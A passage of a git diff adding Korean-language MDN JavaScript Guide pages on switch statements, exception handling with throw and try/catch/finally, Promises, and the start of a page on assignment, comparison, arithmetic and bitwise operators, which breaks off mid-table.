+<p>아래 예에서, 만약 "fruittype"가 "Bananas"라면, 프로그램은 case "Bananas"와 값이 일치합니다. 그리고 관련된 문장을 실행합니다. 프로그램의 switch문은 break문을 만났을 때 종료됩니다. 그리고 switch문 다음에 나오는 문장을 실행합니다. 만약 break문이 생략되면, 조건문 "Cherries" 와 관련된 문장도 실행됩니다.</p>
+
+<pre class="brush: js">switch (fruittype) {
+ case "Oranges":
+ console.log("Oranges are $0.59 a pound.");
+ break;
+ case "Apples":
+ console.log("Apples are $0.32 a pound.");
+ break;
+ case "Bananas":
+ console.log("Bananas are $0.48 a pound.");
+ break;
+ case "Cherries":
+ console.log("Cherries are $3.00 a pound.");
+ break;
+ case "Mangoes":
+ console.log("Mangoes are $0.56 a pound.");
+ break;
+ case "Papayas":
+ console.log("Mangoes and papayas are $2.79 a pound.");
+ break;
+ default:
+ console.log("Sorry, we are out of " + fruittype + ".");
+}
+console.log("Is there anything else you'd like?");</pre>
+
+<p> </p>
+
+<h2 id="예외처리문">예외처리문</h2>
+
+<p>여러분은 throw문을 사용하는 예외들을 사용 할 수 있고 try...catch문을 사용하는 예외들 또한 다룰 수 있습니다.</p>
+
+<ul>
+ <li><a href="#throw_statement"><code>throw</code> </a>문</li>
+ <li><a href="#try_catch_statement"><code>try...catch</code> </a>문</li>
+</ul>
+
+<h3 id="예외_유형">예외 유형</h3>
+
+<p>대부분 자바스크립트안에서 사용될 수 있습니다. 그럼에도 불구하고, 반드시 사용되는 객체들이 같은 것으로 만들어 지지는 않습니다. 이것들은 에러같은 숫자들이나 문자열들을 사용하는데 흔한 일이지만 특히 이런 목적으로 만들어진 예외 유형중 하나를 사용하는데 더 효과적입니다:</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects#Fundamental_objects">ECMAScript exceptions</a></li>
+ <li>{{domxref("DOMException")}} and {{domxref("DOMError")}}</li>
+</ul>
+
+<h3 id="throw_문"><code>throw</code> 문</h3>
+
+<p>예외를 사용할 때 <code>throw</code> 문을 사용합니다. 여러분이 예외를 사용할 때, 사용되는 값을 포함하는 표현을 명시해야합니다:</p>
+
+<pre class="syntaxbox">throw expression;
+</pre>
+
+<p>여러분은 구체적 유형의 표현이 아니라도 어떤 표현이든지 사용할 것입니다. 다음 코드는 다양한 유형중의 여러 예외들을 사용합니다:</p>
+
+<pre class="brush: js">throw "Error2"; // String type
+throw 42; // Number type
+throw true; // Boolean type
+throw {toString: function() { return "I'm an object!"; } };
+</pre>
+
+<div class="note"><strong>Note:</strong> 여러분은 <em> 예외를 사용할때 </em>객체를 명시할 수 있습니다. 그리고나서  <code>catch</code> 문안에서 객체의 특성들을 참조 할 수 있습니다. 다음 예시는 <code>myUserException</code> of type <code>UserException</code>객체를 만듭니다 그리고 throw문에서 사용합니다.</div>
+
+<pre class="brush: js">// Create an object type UserException
+function UserException (message){
+ this.message=message;
+ this.name="UserException";
+}
+
+// Make the exception convert to a pretty string when used as a string
+// (e.g. by the error console)
+UserException.prototype.toString = function () {
+ return this.name + ': "' + this.message + '"';
+}
+
+// Create an instance of the object type and throw it
+throw new UserException("Value too high");</pre>
+
+<h3 id="try...catch_문법"><code>try...catch</code> 문법</h3>
+
+<p><code>try...catch</code> 문법은 시도할 블록을 표시하고, 예외가 발생하였을때, 하나 이상의 반응을 명시합니다. 만약 예외가 발생하였을때, <code>try...catch</code> 문법은 예외를 잡아냅니다.</p>
+
+<p><code>try...catch</code> 문법은 하나 이상의 문장을 포함한 <code>try</code> 블록과, <code>try</code> 블록 에서 예외가 발생하였을때, 어떤 것을 할 것인지 명시된 문장을 포함한 0개 이상의 <code>catch</code> 블록으로 구성됩니다. <code>try</code> 블록이 성공하길 원하고, <code>try</code> 블록이 성공하지 않았다면, 제어를 <code>catch</code> 블록으로 넘기고 싶을 것입니다. 만약 <code>try</code> 블록(또는 <code>try</code> 블록에서 호출하는 함수) 의 문장이 예외를 발생시켰을때, 제어는 즉시 <code>catch</code> 블록으로 이동합니다. 만약 <code>try</code> 블록에서 예외가 발생하지 않았을 때, <code>catch</code> 블록을 건너뜁니다. <code>finally</code> 블록은 <code>try</code> 블록과 <code>catch</code> 블록의 시행이 끝나고 <code>try...catch</code> 문법 다음의 문장이 시행 되기 전에 시행됩니다.</p>
+
+<p>다음의 예제는 <code>try...catch</code> 문법을 사용합니다. 예제는 함수에 전해진 값을 토대로 달의 이름을 검색하는 함수를 호출합니다. 만약 값이 달 숫자값(1-12) 에 일치하지 않으면,<code>"InvalidMonthNo"</code> 라는 값과 함께 예외가 발생하고 <code>catch</code> 블록의 문장들이 <code>monthName</code> 변수를 <code>unknown</code> 값으로 설정합니다.</p>
+
+<pre class="brush: js">function getMonthName (mo) {
+ mo = mo-1; // Adjust month number for array index (1=Jan, 12=Dec)
+ var months = ["Jan","Feb","Mar","Apr","May","Jun","Jul",
+ "Aug","Sep","Oct","Nov","Dec"];
+ if (months[mo] != null) {
+ return months[mo];
+ } else {
+ throw "InvalidMonthNo"; //throw keyword is used here
+ }
+}
+
+try { // statements to try
+ monthName = getMonthName(myMonth); // function could throw exception
+}
+catch (e) {
+ monthName = "unknown";
+ logMyErrors(e); // pass exception object to error handler
+}
+</pre>
+
+<h4 id="The_catch_Block" name="The_catch_Block"><code>catch</code> 블록</h4>
+
+<p><code>try</code> 블록에서 발생할수 있는 모든 예외를 처리하기 위해 <code>catch</code> 블록을 사용할 수 있습니다.</p>
+
+<pre class="syntaxbox">catch (catchID) {
+ statements
+}
+</pre>
+
+<p><code>catch</code> 블록은 <code>throw</code>문장에 의해 명시된 값을 가지고 있는 식별자(앞 구문의 <code>catchID</code>)를 명시합니다; 이 식별자를 발생된 예외에 대한 정보를 얻기 위하여 사용할 수 있습니다. 자바스크립트는 <code>catch</code> 블록에 진입했을때 식별자를 생성합니다; 식별자는 <code>catch</code> 블록에 있는 동안만 유지됩니다; <code>catch</code> 블록의 시행이 끝난 후, 식별자는 더이상 사용하실 수 없습니다.</p>
+
+<p>예를 들어, 다음의 코드는 예외를 발생시킵니다. 예외가 발생하였을때, 제어는 <code>catch</code> 블록으로 넘어갑니다.</p>
+
+<pre class="brush: js">try {
+ throw "myException" // generates an exception
+}
+catch (e) {
+ // statements to handle any exceptions
+ logMyErrors(e) // pass exception object to error handler
+}
+</pre>
+
+<h4 id="finally_블록"><code>finally</code> 블록</h4>
+
+<p><code>finally</code> 블록은 <code>try</code> 블록과 <code>catch</code> 블록이 시행되고, <code>try...catch</code> 문법 다음 문장이 시행되기 전에 시행되는 문장들을 포함하고 있습니다. <code>finally</code> 블록은 예외가 발생하든 안하든 수행됩니다. 만약 예외가 발생하였을때, <code>finally</code> 블록 안의 문장들은 어떤 <code>catch</code> 블록도 예외를 처리하지 않더라도 시행됩니다.</p>
+
+<p><code>finally</code> 블록을 예외가 발생하였을때 여러분의 스크립트가 우아하게 실패하도록 만들기 위하여 사용할 수 있습니다. 예를 들어, 여러분의 스크립트가 묶어둔 자원들을 풀어줄 필요가 있습니다. 다음의 예제는 파일을 열고, 파일을 사용하는 문장(서버 측 자바스크립트는 파일에 접근하는 것을 허가합니다)을 시행합니다. 만약 파일이 열린 동안 예외가 발생했다면, <code>finally</code> 블록은 스크립트가 실패하기 전에 파일을 닫아줍니다.</p>
+
+<pre class="brush: js">openMyFile();
+try {
+ writeMyFile(theData); //This may throw a error
+} catch(e) {
+ handleError(e); // If we got a error we handle it
+} finally {
+ closeMyFile(); // always close the resource
+}
+</pre>
+
+<p>만약 <code>finally</code> 블록이 값을 반환하였을 경우, <code>try</code> 블록과 <code>catch</code>블록의 <code>return</code> 문장과 상관없이 전체 <code>try-catch-finally</code> 생산물의 반환값이 됩니다:</p>
+
+<pre class="brush: js">function f() {
+ try {
+ console.log(0);
+ throw "bogus";
+ } catch(e) {
+ console.log(1);
+ return true; // this return statement is suspended
+ // until finally block has completed
+ console.log(2); // not reachable
+ } finally {
+ console.log(3);
+ return false; // overwrites the previous "return"
+ console.log(4); // not reachable
+ }
+ // "return false" is executed now
+ console.log(5); // not reachable
+}
+f(); // alerts 0, 1, 3; returns false
+</pre>
+
+<p><code>finally</code> 블록에 의한 반환값 덮어쓰기는 예외가 발생하거나 다시 예외가 발생했을때 또한 적용됩니다.</p>
+
+<pre class="brush: js">function f() {
+ try {
+ throw "bogus";
+ } catch(e) {
+ console.log('caught inner "bogus"');
+ throw e; // this throw statement is suspended until
+ // finally block has completed
+ } finally {
+ return false; // overwrites the previous "throw"
+ }
+ // "return false" is executed now
+}
+
+try {
+ f();
+} catch(e) {
+ // this is never reached because the throw inside
+ // the catch is overwritten
+ // by the return in finally
+ console.log('caught outer "bogus"');
+}
+
+// OUTPUT
+// caught inner "bogus"</pre>
+
+<h4 id="Nesting_try...catch_Statements" name="Nesting_try...catch_Statements">try...catch 문법 중첩하기</h4>
+
+<p> </p>
+
+<p>하나 이상의 <code>try ... catch</code> 문을 중첩 할 수 있습니다. 중첩된 안쪽 <code>try ... catch</code> 문에 <code>catch</code> 블록이 없으면 <code>finally</code> 블록이 있어야하고 <code>try ... catch</code> 문의 <code>catch</code> 블록에 일치하는 항목이 있는지 확인해야합니다. 자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a> 참조 페이지의 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/try...catch#Nested_try-blocks">nested try-blocks</a>을 참조하십시오.</p>
+
+<h3 id="Error_객체를_도구화_하기"><code>Error</code> 객체를 도구화 하기</h3>
+
+<p>오류의 종류에 따라, 더 정제된 메세지를 얻기 위하여 'name'속성과 'message'속성을 사용할수도 있습니다. 'name'속성은 오류의 일반 클래스(e.g., 'DOMException' 또는 'Error')를 제공하고, 'message' 속성이 error 객체를 문자열로 바꿀수 있는 것 보다 더 간결한 메세지를 제공합니다.</p>
+
+<p>만약 이 속성들에 대하여 이득을 얻기 위해(여러분의 catch 블록이 시스템의 예외와 여러분의 예외를 구분하지 않을 때와 같은 것) 여러분만의 예외를 발생시킨다면, 여러분은 Error 생성자를 사용할 수 있습니다. 예를 들어:</p>
+
+<pre class="brush: js">function doSomethingErrorProne () {
+ if (ourCodeMakesAMistake()) {
+ throw (new Error('The message'));
+ } else {
+ doSomethingToGetAJavascriptError();
+ }
+}
+....
+try {
+ doSomethingErrorProne();
+}
+catch (e) {
+ console.log(e.name); // logs 'Error'
+ console.log(e.message); // logs 'The message' or a JavaScript error message)
+}</pre>
+
+<h2 id="Promises">Promises</h2>
+
+<p>ECMAScript2015를 시작하면서, 자바스크립트는 지연된 흐름과 비동기식의 연산을 제어할 수 있게 하는 {{jsxref("Promise")}} 객체에 대한 지원을 얻게 되었습니다.</p>
+
+<p><code>Promise</code> 는 다음의 상태중 하나입니다:</p>
+
+<ul>
+ <li><em>pending</em>: 초기상태, fulfilled 되거나 rejected 되지 않음.</li>
+ <li><em>fulfilled</em>: 연산 수행 성공.</li>
+ <li><em>rejected</em>: 연산 수행 실패.</li>
+ <li><em>settled</em>: Promise 가 fulfilled 이거나 rejected 이지만 pending 은 아님.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png" style="height: 297px; width: 801px;"></p>
+
+<h3 id="XHR_를_통해_이미지_불러오기">XHR 를 통해 이미지 불러오기</h3>
+
+<p>이미지를 불러오기 위해 <code>Promise</code> 와 <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> 를 사용한 간단한 예제는 MDN GitHub <a href="https://github.com/mdn/promises-test/blob/gh-pages/index.html"> promise-test</a> repository 에 있습니다. <a href="http://mdn.github.io/promises-test/">이 예제 가 동작하는 것을 보실 수 있습니다.</a> 각 단계는 설명되어있고 Promise 와 XHR 구조를 친밀하게 이해할수 있게 합니다. 여기 Promise 흐름을 보여줘서 아이디어를 얻을 수 있는 설명되지 않은 버전이 있습니다:</p>
+
+<pre class="brush: js">function imgLoad(url) {
+ return new Promise(function(resolve, reject) {
+ var request = new XMLHttpRequest();
+ request.open('GET', url);
+ request.responseType = 'blob';
+ request.onload = function() {
+ if (request.status === 200) {
+ resolve(request.response);
+ } else {
+ reject(Error('Image didn\'t load successfully; error code:'
+ + request.statusText));
+ }
+ };
+ request.onerror = function() {
+ reject(Error('There was a network error.'));
+ };
+ request.send();
+ });
+}</pre>
+
+<p>더 자세한 정보를 얻기 위해선, {{jsxref("Promise")}} 참고 페이지를 보세요.</p>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</div>
diff --git a/files/ko/web/javascript/guide/expressions_and_operators/index.html b/files/ko/web/javascript/guide/expressions_and_operators/index.html
new file mode 100644
index 0000000000..f5e711304f
--- /dev/null
+++ b/files/ko/web/javascript/guide/expressions_and_operators/index.html
@@ -0,0 +1,926 @@
+---
+title: 표현식과 연산자
+slug: Web/JavaScript/Guide/Expressions_and_Operators
+tags:
+ - Beginner
+ - Expressions
+ - Guide
+ - JavaScript
+ - Operators
+ - 'l10n:priority'
+ - 연산자
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}}</div>
+
+<p class="summary">이 장은 JavaScript의 표현식과 할당, 비교, 산술, 비트 계산, 논리, 문자열, 삼항 등 여러 가지 연산자를 설명합니다.</p>
+
+<p>연산자와 표현식의 완전하고 구체적인 목록도 <a href="/ko/docs/Web/JavaScript/Reference/Operators">참고서</a>에서 확인할 수 있습니다.</p>
+
+<h2 id="연산자">연산자</h2>
+
+<p>JavaScript는 다음과 같은 형태의 연산자가 있습니다. 이 절은 연산자에 대하여 설명하고, 연산자 우선순위에 관한 정보를 포함하고 있습니다.</p>
+
+<ul>
+ <li><a href="#할당_연산자">할당 연산자</a></li>
+ <li><a href="#비교_연산자">비교 연산자</a></li>
+ <li><a href="#산술_연산자">산술 연산자</a></li>
+ <li><a href="#비트_연산자">비트 연산자</a></li>
+ <li><a href="#논리_연산자">논리 연산자</a></li>
+ <li><a href="#문자열_연산자">문자열 연산자</a></li>
+ <li><a href="#조건_(삼항)_연산자">조건 (삼항) 연산자</a></li>
+ <li><a href="#쉼표_연산자">쉼표 연산자</a></li>
+ <li><a href="#단항_연산자">단항 연산자</a></li>
+ <li><a href="#관계_연산자">관계 연산자</a></li>
+</ul>
+
+<p>JavaScript는 이항 연산자와 단항연산자, 조건연산자인 단 하나 존재하는 삼항 연산자를 가지고 있습니다. 이항 연산자는 하나는 좌변에 다른 하나는 우변에 두개의 피연산자가 필요합니다:</p>
+
+<pre class="syntaxbox"><em>피연산자1</em> <em>연산자</em> <em>피연산자2</em>
+</pre>
+
+<p>예를 들면 <code>3+4</code> 또는 <code>x*y</code>와 같습니다.</p>
+
+<p>단항 연산자는 연산자 뒤에든 앞에든 하나의 피연산자를 필요로 합니다.:</p>
+
+<pre class="syntaxbox"><em>연산자</em> <em>피연산자</em>
+</pre>
+
+<p>또는</p>
+
+<pre class="syntaxbox"><em>피연산자</em> <em>연산자</em>
+</pre>
+
+<p><code>x++</code> 또는 <code>++x</code>를 예시로 들 수 있습니다.</p>
+
+<h3 id="할당_연산자">할당 연산자</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">할당 연산자</a>는 오른쪽 피연산자의 값을 왼쪽 피연산자에 할당합니다. 기본적인 할당 연산자는 오른쪽의 피연산자 값을 왼쪽 피연산자 값에 할당하는 등호(<code>=</code>) 입니다. 즉 <code>x = y</code> 는 <code>y</code> 값을 <code>x</code>에 할당합니다.</p>
+
+<p>다음의 표에 나열된 연산의 약칭인 복합 할당 연산자도 존재합니다:</p>
+
+<table class="standard-table">
+ <caption>복합 할당 연산자</caption>
+ <thead>
+ <tr>
+ <th>이름</th>
+ <th>복합 할당 연산자</th>
+ <th>뜻</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><a href="#Assignment">할당</a></td>
+ <td><code>x = y</code></td>
+ <td><code>x = y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Addition_assignment">덧셈 할당</a></td>
+ <td><code>x += y</code></td>
+ <td><code>x = x + y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Subtraction_assignment">뺄셈 할당</a></td>
+ <td><code>x -= y</code></td>
+ <td><code>x = x - y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Multiplication_assignment">곱셈 할당</a></td>
+ <td><code>x *= y</code></td>
+ <td><code>x = x * y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Division_assignment">나눗셈 할당</a></td>
+ <td><code>x /= y</code></td>
+ <td><code>x = x / y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Remainder_assignment">나머지 연산 할당</a></td>
+ <td><code>x %= y</code></td>
+ <td><code>x = x % y</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#지수_연산_할당">지수 연산 할당</a> {{experimental_inline}}</td>
+ <td><code>x **= y</code></td>
+ <td><code>x = x ** y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Left_shift_assignment">왼쪽 이동 연산 할당</a></td>
+ <td><code>x &lt;&lt;= y</code></td>
+ <td><code>x = x &lt;&lt; y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Right_shift_assignment">오른쪽 이동 연산 할당</a></td>
+ <td><code>x &gt;&gt;= y</code></td>
+ <td><code>x = x &gt;&gt; y</code></td>
+ </tr>
+ <tr>
+ <td><a href="#Unsigned_right_shift_assignment">부호 없는 오른쪽 이동 연산 할당</a></td>
+ <td><code>x &gt;&gt;&gt;= y</code></td>
+ <td><code>x = x &gt;&gt;&gt; y</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#비트_AND_할당">비트 AND 할당</a></td>
+ <td><code>x &amp;= y</code></td>
+ <td><code>x = x &amp; y</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#비트_XOR_할당">비트 XOR 할당</a></td>
+ <td><code>x ^= y</code></td>
+ <td><code>x = x ^ y</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#비트_OR_할당">비트 OR 할당</a></td>
+ <td><code>x |= y</code></td>
+ <td><code>x = x | y</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="구조_분해">구조 분해</h4>
+
+<p>복잡한 할당 연산에서, <a href="/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">구조 분해 할당</a> 구문은 배열이나 객체의 구조를 반영하여 배열이나 객체에서 데이터를 추출할 수 있게 해주는 JavaScript 표현식입니다.</p>
+
+<pre class="brush: js">var foo = ['one', 'two', 'three'];
+
+// 구조 분해를 활용하지 않은 경우
+var one = foo[0];
+var two = foo[1];
+var three = foo[2];
+
+// 구조 분해를 활용한 경우
+var [one, two, three] = foo;</pre>
+
+<h3 id="비교_연산자">비교 연산자</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">비교 연산자</a>는 피연산자들을 비교하고 비교에 따라 논리 값을 반환합니다. 피연산자들은 숫자, 문자열, 논리형, 객체 를 사용할 수 있습니다. 문자열은 유니코드 값을 사용하여 표준 사전순서를 기반으로 비교합니다. 만약 두 피연산자가 다른 형태일 경우, JavaScript는 대부분 비교를 위해 피연산자를 적절한 타입으로 변환합니다. 이런 행동은 보통 숫자로 피연산자를 숫자로 비교하는 형태로 나타납니다. 형태를 바꾸기의 유일한 예외는 엄격한 비교를 수행하는 <code>===</code> 과 <code>!==</code> 연산이 관련되는 경우입니다. 이런 연산자는 비교를 위해 피연산자의 형태를 적절히 바꾸려고 시도하지 않습니다. 다음 표는 샘플 코드를 통해 비교 연산자에 대하여 설명합니다:</p>
+
+<pre><code>var var1 = 3;
+var var2 = 4;</code>
+</pre>
+
+<table class="standard-table">
+ <caption>비교 연산자</caption>
+ <thead>
+ <tr>
+ <th scope="col">연산자</th>
+ <th scope="col">설명</th>
+ <th scope="col">참을 반환하는 예제</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality">동등</a> (<code>==</code>)</td>
+ <td>피연산자들이 같으면 참을 반환합니다.</td>
+ <td><code>3 == var1</code>
+ <p><code>"3" == var1</code></p>
+ <code>3 == '3'</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Inequality">부등</a> (<code>!=</code>)</td>
+ <td>피연산자들이 다르면 참을 반환합니다.</td>
+ <td><code>var1 != 4<br>
+ var2 != "3"</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity">일치</a> (<code>===</code>)</td>
+ <td>피연산자들이 같고 피연산자들의 같은 형태인 경우 참을 반환합니다. {{jsxref("Object.is")}} 와 <a href="/ko/docs/Web/JavaScript/Equality_comparisons_and_sameness" title="/ko/docs/Web/JavaScript/Guide/Sameness">JavaScript에서의 같음</a>을 참고하세요.</td>
+ <td><code>3 === var1</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Nonidentity">불일치</a> (<code>!==</code>)</td>
+ <td>피연산자들이 다르거나 형태가 다른 경우 참을 반환합니다.</td>
+ <td><code>var1 !== "3"<br>
+ 3 !== '3'</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_operator">~보다 큰</a> (<code>&gt;</code>)</td>
+ <td>좌변의 피연산자 보다 우변의 피연산자가 크면 참을 반환합니다.</td>
+ <td><code>var2 &gt; var1<br>
+ "12" &gt; 2</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_or_equal_operator">~보다 크거나 같음</a> (<code>&gt;=</code>)</td>
+ <td>좌변의 피연산자 보다 우변의 피연산자가 크거나 같으면 참을 반환합니다.</td>
+ <td><code>var2 &gt;= var1<br>
+ var1 &gt;= 3</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_operator">~보다 작음</a> (<code>&lt;</code>)</td>
+ <td>좌변의 피연산자 보다 우변의 피연산자가 작으면 참을 반환합니다.</td>
+ <td><code>var1 &lt; var2<br>
+ "2" &lt; 12</code></td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_or_equal_operator">~보다 작거나 같음</a> (<code>&lt;=</code>)</td>
+ <td>좌변의 피연산자 보다 우변의 피연산자가 작거나 같으면 참을 반환합니다.</td>
+ <td>
+ <p><code>var1 &lt;= var2<br>
+ var2 &lt;= 5</code></p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>참고: </strong>(<code>=&gt;</code>) 은 연산자가 아니고, 화살표 함수(<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a>)를 나타내는 기호입니다.</p>
+</div>
+
+<h3 id="산술_연산자">산술 연산자</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators">산술 연산자</a>는 숫자값(리터럴 또는 변수)을 피연산자로 갖고, 하나의 숫자 값을 반환합니다. 기본적인 산술 연산자는 덧셈(<code>+</code>), 뺄셈 (<code>-</code>), 곱셈 (<code>*</code>), 나눗셈 (<code>/</code>)입니다. 이 연산자들은 대부분의 다른 프로그래밍 언어들이 부동소수점 값을 연산하는것처럼 동작합니다. (0 으로 나누는 것은 {{jsxref("Infinity")}} 을 발생시키는 것을 기억하세요) 예를 들면:</p>
+
+<pre class="brush: js">1 / 2; // 0.5
+1 / 2 == 1.0 / 2.0; // this is true
+</pre>
+
+<p>또한, 표준 산술 연산자 (+, -, *, /) 에 대해 JavaScript는 다음의 표에 나와 있는 산술 연산자를 제공합니다.</p>
+
+<table class="fullwidth-table">
+ <caption>산술 연산자</caption>
+ <thead>
+ <tr>
+ <th scope="col">연산자</th>
+ <th scope="col">설명</th>
+ <th scope="col">예제</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder">나머지 연산자</a> (<code>%</code>)</td>
+ <td>이항 연산자입니다. 두 피연산자를 나눈후 나머지를 반환합니다.</td>
+ <td>12 % 5 는 2를 반환합니다.</td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment">증가 연산자</a> (<code>++</code>)</td>
+ <td>단항 연산자입니다. 피연산자에 1을 더합니다. 만약 연산자를 피연산자 앞(<code>++x</code>)에 사용하면, 피연산자에 1을 더한 값을 반환합니다.; 만약 연산자를 피연산자 뒤(<code>x++</code>)에 사용하면, 피연산자에 1을 더하기 전 값을 반환합니다.</td>
+ <td><code>x</code> 가 3이면 <code>++x</code> 는 <code>x</code> 를 4로 만들고 4를 반환합니다. 반면 <code>x++</code> 는 3을 반환하고 <code>x</code> 를 4로 만듭니다.</td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement">감소 연산자</a> (<code>--</code>)</td>
+ <td>단항 연산자입니다. 피연산자로 부터 1을 뺍니다. 반환값은 증가 연산자와 유사합니다.</td>
+ <td><code>x</code> 가 3이면 <code>--x</code> 는 <code>x</code> 를 2로 만들고2를 반환합니다. 반면 <code>x--</code> 는 3을 반환하고 <code>x</code> 를 2로 만듭니다.</td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_negation">단항 부정 연산자</a> (<code>-</code>)</td>
+ <td>단항 연산자 입니다. 피연산자의 반대값(부호 바뀐값)을 반환합니다.</td>
+ <td> <code>x</code> 가 3이면 <code>-x</code> 는 -3을 반환합니다.</td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_plus">숫자화 연산자</a> (<code>+</code>)</td>
+ <td>단항연산자 입니다. 피연산자가 숫자값이 아니라면 피연산자를 숫자로 변환하기를 시도합니다.</td>
+ <td><code>+"3"</code> 은 <code>3</code>을 반환합니다.<br>
+ <code>+true</code> 는 <code>1.</code> 을 반환합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="비트_연산자">비트 연산자</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">비트 연산자</a>는 피연산자를 10진수, 16진수, 8진수처럼 취급하지 않고 32비트의 집합으로 취급합니다. 예를 들면, 10진수의 9는 2진수의 1001로 나타낼 수 있습니다. 비트 단위 연산자는 이진법으로 연산을 수행하지만, JavaScript의 표준 숫자값을 반환합니다..</p>
+
+<p>다음의 표는 JavaScript의 비트단위 연산자의 요약입니다.</p>
+
+<table class="standard-table">
+ <caption>비트 연산자</caption>
+ <thead>
+ <tr>
+ <th scope="col">연산자</th>
+ <th scope="col">사용법</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_AND">비트단위 논리곱</a></td>
+ <td><code>a &amp; b</code></td>
+ <td>두 피연산자의 각 자리 비트의 값이 둘다 1일 경우 해당하는 자리에 1을 반환합니다.</td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_OR">비트단위 논리합</a></td>
+ <td><code>a | b</code></td>
+ <td>두 피연산자의 각 자리 비트의 값이 둘다 0일 경우 해당하는 자리에 0을 반환합니다.</td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR">비트단위 배타적 논리합</a></td>
+ <td><code>a ^ b</code></td>
+ <td>두 피연산자의 각 자리 비트의 값이 같을 경우 해당하는 자리에 0을 반환합니다.<br>
+ [두 피연산자의 각 자리 비트의 값이 다를 경우 해당하는 자리에 1을 반환합니다.]</td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_NOT">비트단위 부정</a></td>
+ <td><code>~ a</code></td>
+ <td>피연산자의 각 자리의 비트를 뒤집습니다.</td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Left_shift">왼쪽 시프트</a></td>
+ <td><code>a &lt;&lt; b</code></td>
+ <td>오른쪽에서 0들을 이동시키면서, a의 이진수의 각 비트를 b비트 만큼 왼쪽으로 이동시킨 값을 반환합니다.</td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Right_shift">부호 전파 오른쪽 시프트</a></td>
+ <td><code>a &gt;&gt; b</code></td>
+ <td>사라지는 비트를 버리면서, a의 이진수의 각 비트를 b비트만큼 이동시킨값을 반환합니다.</td>
+ </tr>
+ <tr>
